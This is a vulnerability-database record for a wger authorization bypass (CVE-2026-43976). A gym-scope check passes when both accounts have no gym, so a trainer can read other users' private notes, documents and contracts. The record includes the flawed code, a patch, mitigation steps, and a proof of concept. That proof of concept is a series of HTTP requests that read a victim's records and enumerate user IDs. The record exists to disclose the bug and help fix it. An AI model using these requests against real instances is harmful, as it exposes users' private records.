{"id":"CVE-2026-43976","kind":"vulnerability","aliases":["CVE-2026-43976","GHSA-c72h-82w6-rqfp"],"related":[],"title":"wger: cross-tenant admin notes/contracts leak via gym=None bypass (5 views)","description":"### Summary\n\nFive gym management views in wger apply a flawed gym-scope guard (`gym_a != gym_b`) that silently passes when both operands are `None`. A trainer with `gym.gym_trainer` and `gym.add_adminusernote` permissions and no gym assignment (`gym=None`) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for **any other unaffiliated user** on the instance. The subsequent querysets filter only on the attacker-supplied `member_id` with no secondary gym-scoped validation, so all records are disclosed.\n\n### Details\n\n**Files**: `wger/gym/views/user.py`, `wger/gym/views/admin_notes.py`, `wger/gym/views/document.py`, `wger/gym/views/contract.py`, `wger/gym/views/user_config.py`\n\nThe same flawed comparison pattern appears across at least five views:\n\n```python\n# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,\n#              user_config, and gym_permissions_user_edit\nif request.user.userprofile.gym != user.userprofile.gym:\n    return HttpResponseForbidden()\n\n# After the guard (admin notes example):\nnotes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id\n```\n\nWhen both `request.user.userprofile.gym` and `user.userprofile.gym` are `None`, Python evaluates `None != None` as `False`, and `HttpResponseForbidden` is never reached. The subsequent queryset applies only the attacker-supplied `member` (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.\n\n**Affected endpoints**:\n- `GET /en/gym/notes/list/user/<member_pk>` -> admin notes list view\n- `GET /en/gym/documents/list/user/<member_pk>` -> documents list view\n- `GET /en/gym/contract/list/<member_pk>` -> contracts list view\n- `GET /en/gym/user/<member_pk>/config` -> user config view\n- `GET /en/gym/user/<member_pk>/permissions` -> permission edit view\n\n**Suggested patch**:\n\n```diff\n--- a/wger/gym/views/user.py\n+++ b/wger/gym/views/user.py\n-    if request.user.userprofile.gym != user.userprofile.gym:\n-        return HttpResponseForbidden()\n+    trainer_gym_id = request.user.userprofile.gym_id\n+    member_gym_id  = user.userprofile.gym_id\n+\n+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:\n+        return HttpResponseForbidden()\n\n# Also tighten the queryset with a gym-scoped secondary filter:\n-    notes = AdminUserNote.objects.filter(member=member)\n+    notes = AdminUserNote.objects.filter(\n+        member=member,\n+        member__userprofile__gym_id=request.user.userprofile.gym_id,\n+    )\n```\n\nExtract a shared helper `assert_same_gym(trainer, member)` and call it consistently from all five affected views to eliminate future drift.\n\n### PoC\n\nTested on `wger/server:latest` Docker image. Test users: `trainer1` (`gym.gym_trainer` + `gym.add_adminusernote` permissions, `userprofile.gym=None`) and `alice` (regular user, `userprofile.gym=None`, has a private admin note pre-seeded).\n\n**Step 1** - Authenticate as trainer with required perms and gym=None:\n\n```\nPOST /en/user/login HTTP/1.1\nHost: target\nContent-Type: application/x-www-form-urlencoded\n\nusername=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]\n\n-> 302 Found; Set-Cookie: sessionid=[trainer1_session]\n```\n\n**Step 2** - Read victim's private admin notes:\n\n```\nGET /en/gym/notes/list/user/2 HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n\n-> 200 OK\nbody contains all private admin notes for user 2:\n  \"PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K\"\n  \"PHASE4_SECRET_SALARY_100K\"\n```\n\n**Step 3** - Read victim's documents and contracts (same pattern):\n\n```\nGET /en/gym/documents/list/user/2\nGET /en/gym/contract/list/2\n\n-> 200 OK for each; all records disclosed\n```\n\n**Step 4** (optional) - Mass enumeration across all gym=None users:\n\n```\nIterate user PKs 1..N:\nGET /en/gym/notes/list/user/{uid}\n-> 200 = gym=None victim (notes leaked)\n-> 403 = gym-assigned user (check works correctly when gym values differ)\n```\n\n**RBAC Disproof Protocol**:\n- Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)\n- Scenario B (trainer1, gym=None -> alice gym=None) -> **HTTP 200 with PII in body** (expected HTTP 403)\n- Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is `None`-specific)\n\nReproducibility: 2/2 runs after clean-baseline database reset.\n\n### Impact\n\nAn authenticated trainer with `gym.gym_trainer` + `gym.add_adminusernote` permissions and `userprofile.gym=None` can:\n\n1. Enumerate and read all private admin notes for every other `gym=None` user (notes may contain salary data, medical notes, disciplinary records).\n2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).\n3. Read all gym contracts (financial terms, subscription details).\n4. Read user configuration details.\n5. Via the permissions endpoint, potentially **modify victim permissions** (creates a privilege escalation path - not fully explored in this submission but the endpoint is reachable).\n\n**Affected deployments**: every wger instance where `gym.gym_trainer` + `gym.add_adminusernote` are delegated to non-admin users AND any other users exist with `gym=None`. The `gym=None` state is the **default for newly registered users** before manual gym assignment, so every public-registration wger instance is affected.\n\n**Severity**: High (CVSS 7.1). Network-reachable, low complexity, requires only low privilege (delegated trainer), scope unchanged (same wger authority), high confidentiality loss across all unaffiliated accounts, low integrity impact (permission-edit view reachable).\n\nThis is structurally the same bug class as the sibling findings affecting `trainer_login` and `reset_user_password` (submitted separately). The root cause - Django ORM object-`!=` returning `False` when both sides are `None` - warrants a shared `same_gym()` helper applied across all five views.","summary":"A gym-scope check in five wger views passes when both the trainer and the member have no gym assigned, because Python compares None to None as equal. A trainer with the gym trainer and admin note permissions can then read another unassigned user's private admin notes, documents, contracts and configuration.","severity":"high","cvss":7.1,"epss":0.00219,"exploited":false,"exploited_at":null,"products":[{"name":"wger","fixed":[],"affected":"<= 2.1","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["cwe-863","django","package","python","self-hosted","wger"],"not_affected_if":["default-config","no-delegated-trainers"],"how_to_check":"- Run `pip show wger` or read the installed version to see whether it is `2.1` or lower.\n- Check whether any trainer accounts hold `gym.gym_trainer` and `gym.add_adminusernote` while their `userprofile.gym` is empty.\n- Check whether public registration is open, since new users start with no gym.","fix":"- Upgrade wger to a fixed release; the fixed version is unknown in the sources, so check the GHSA-c72h-82w6-rqfp advisory for it.\n- Until patched, remove `gym.gym_trainer` or `gym.add_adminusernote` from trainers without a gym, or assign every user a gym.","status":"open","published_at":"2026-10-07T13:33:14+00:00","first_seen_at":"2026-10-26T15:53:57+00:00","triaged_at":"2026-10-26T15:55:11+00:00","updated_at":"2026-10-26T15:55:11+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-26T15:55:11Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade wger to a fixed release; the fixed version is unknown in the sources, so check the GHSA-c72h-82w6-rqfp advisory for it.\n- Until patched, remove `gym.gym_trainer` or `gym.add_adminusernote` from trainers without a gym, or assign every user a gym.","reach":"network","title":"wger: trainers with no gym can read other users' private notes and contracts","impact":"high","summary":"A gym-scope check in five wger views passes when both the trainer and the member have no gym assigned, because Python compares None to None as equal. A trainer with the gym trainer and admin note permissions can then read another unassigned user's private admin notes, documents, contracts and configuration.","category":"package","nicknames":[],"who_cares":["wger","self-hosted","python","django"],"confidence":0.8,"needs_auth":"yes","worst_case":"Trainer reads private notes, contracts and documents of other unassigned users","analyst_note":"","how_to_check":"- Run `pip show wger` or read the installed version to see whether it is `2.1` or lower.\n- Check whether any trainer accounts hold `gym.gym_trainer` and `gym.add_adminusernote` while their `userprofile.gym` is empty.\n- Check whether public registration is open, since new users start with no gym.","needs_analyst":false,"not_affected_if":["default-config","no-delegated-trainers"],"who_is_affected":"Self-hosted wger instances with gym management in use where trainers are given the gym trainer and admin note permissions. Public-registration instances are more exposed because new users start with no gym, which creates the matching state the bypass needs. Instances without delegated trainer permissions or where every user has a gym are unlikely to be exposed.","user_interaction":"no","needs_special_setup":"yes","severity_if_unknown":"high"},"cost_usd":0.000884,"input_tokens":5678,"output_tokens":633,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-2026':15A,23A '-43976':16A,24A '-863':27B '/config':316C '/en/gym/contract/list':310C '/en/gym/contract/list/2':524C '/en/gym/documents/list/user':305C '/en/gym/documents/list/user/2':522C '/en/gym/notes/list/user':299C,548C '/en/gym/notes/list/user/2':482C '/en/gym/user':315C,321C '/en/user/login':451C '/permissions':322C '1':440C,545C '100k':510C '2':474C,500C '200':490C,525C,550C '3':512C '302':465C '4':533C '403':556C '5':12A '50k':506C '82w6':20A 'a/wger/gym/views/user.py':329C 'across':189C,537C 'admin':5A,71B,82B,132C,198C,220C,281C,300C,434C,479C,496C 'adminusernot':121C,421C 'adminusernote.objects.filter':224C,373C,377C 'affect':296C,402C 'alic':426C,504C 'also':361C 'anoth':77B 'appear':188C 'appli':95C,196C,253C 'application/x-www-form-urlencoded':458C 'assert':390C 'assign':55B,126C,559C 'attack':160C,257C 'attacker-suppli':159C,256C 'authent':441C 'b':105C 'b/wger/gym/views/user.py':330C 'bodi':295C,492C 'bypass':11A 'c72h':19A 'call':396C 'check':39B,269C 'compar':58B 'comparison':186C 'config':206C,318C 'configur':87B,139C 'consist':398C 'contain':493C 'content':456C 'content-typ':455C 'contract':85B,137C,203C,285C,311C,518C 'cooki':469C,486C 'cross':3A 'cross-ten':2A 'csrfmiddlewaretoken':463C 'cve':14A,22A 'cwe':26B 'data':143C 'detail':176C 'diff':328C 'disclos':175C,531C 'django':28B 'docker':413C 'document':84B,135C,201C,283C,306C,516C 'drift':407C 'edit':211C,324C 'elimin':405C 'endpoint':297C 'enumer':536C 'equal':63B 'evalu':240C 'exampl':222C 'extract':386C 'fals':244C 'file':177C 'filter':155C,228C,264C,371C 'five':41B,89C,192C,401C 'flaw':97C,185C 'found':466C 'futur':406C 'get':298C,304C,309C,314C,320C,481C,521C,523C,547C 'ghsa':18A 'ghsa-c72h-82w6-rqfp':17A 'guard':101C,219C 'gym':9A,37B,54B,68B,90C,99C,102C,104C,125C,127C,136C,168C,208C,278C,337C,342C,348C,354C,357C,368C,382C,392C,448C,539C,551C,558C 'gym-assign':557C 'gym-scop':36B,98C,167C,367C 'gym.add':120C,420C 'gym.gym':117C,418C 'helper':389C 'host':33B,453C,484C 'http/1.1':452C,483C 'httpresponseforbidden':216C,246C,335C,360C 'id':163C,231C,261C,338C,340C,343C,345C,349C,355C,358C,383C,385C 'imag':414C 'instanc':151C 'iter':542C 'latest':412C 'leak':7A,555C 'least':191C 'list':200C,202C,204C,302C,307C,312C 'manag':91C 'mass':535C 'member':51B,162C,225C,226C,230C,259C,341C,356C,374C,375C,378C,379C,380C,394C 'n':546C 'never':248C 'none':10A,59B,61B,113C,128C,238C,241C,242C,351C,424C,430C,449C,540C,552C 'note':72B,83B,133C,199C,221C,223C,282C,301C,372C,376C,435C,480C,497C,502C,554C 'notes/contracts':6A 'ok':491C,526C 'operand':111C 'option':534C 'packag':29B 'pass':44B,108C 'password':461C 'patch':327C 'pattern':187C,520C 'perm':446C 'permiss':73B,122C,142C,209C,323C,422C 'phase4':507C 'pks':544C 'poc':408C 'post':450C 'pre':437C 'pre-seed':436C 'privat':81B,131C,280C,433C,478C,495C,501C 'python':30B,57B,194C,239C 'queryset':154C,252C,272C,364C 'reach':249C 'read':76B,130C,475C,513C 'record':173C,530C 'redact':462C,464C 'regular':427C 'request':275C 'request.user.userprofile.gym':213C,234C,332C,339C,384C 'requir':445C 'respons':294C 'return':215C,291C,334C,359C 'rqfp':21A 'salari':505C,509C 'scope':38B,100C,169C,369C 'secondari':166C,268C,370C 'secret':508C 'seed':438C 'self':32B 'self-host':31B 'session':472C,489C 'sessionid':470C,487C 'set':468C 'set-cooki':467C 'share':388C 'silent':107C 'step':439C,473C,511C,532C 'subsequ':153C,251C 'suggest':326C 'summari':88C 'suppli':161C,258C 'target':288C,454C,485C 'tenant':4A 'test':409C,415C 'tie':270C 'tighten':362C 'trainer':48B,65B,69B,115C,118C,276C,336C,347C,353C,393C,419C,443C 'trainer1':417C,460C,471C,488C 'type':457C 'uid':549C 'unaffili':147C 'unassign':78B 'upload':134C 'user':79B,138C,141C,148C,205C,210C,260C,289C,317C,416C,428C,499C,541C,543C,560C 'user.userprofile.gym':214C,236C,333C,344C 'usernam':459C 'userprofil':381C 'userprofile.gym':423C,429C 'valid':170C 'via':8A 'victim':476C,514C,553C 'view':13A,43B,92C,193C,303C,308C,313C,319C,325C,403C 'vulner':195C 'wger':1A,25A,34B,42B,94C 'wger/gym/views/admin_notes.py':179C 'wger/gym/views/contract.py':181C 'wger/gym/views/document.py':180C 'wger/gym/views/user.py':178C 'wger/gym/views/user_config.py':182C 'wger/server':411C","nicknames":[],"mitigations":[],"who_affected":"Self-hosted wger instances with gym management in use where trainers are given the gym trainer and admin note permissions. Public-registration instances are more exposed because new users start with no gym, which creates the matching state the bypass needs. Instances without delegated trainer permissions or where every user has a gym are unlikely to be exposed.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-07T13:33:14+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-c72h-82w6-rqfp","url":"https://github.com/advisories/GHSA-c72h-82w6-rqfp","severity":"high","published_at":"2026-10-07T13:33:14+00:00","modified_at":"2026-10-26T15:50:10+00:00","first_seen_at":"2026-10-26T15:53:57+00:00","fetched_at":"2026-10-26T15:53:57+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-43976","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43976","severity":null,"published_at":"2026-10-07T14:17:09+00:00","modified_at":"2026-10-07T18:17:20+00:00","first_seen_at":"2026-10-26T16:02:26+00:00","fetched_at":"2026-10-26T16:02:26+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}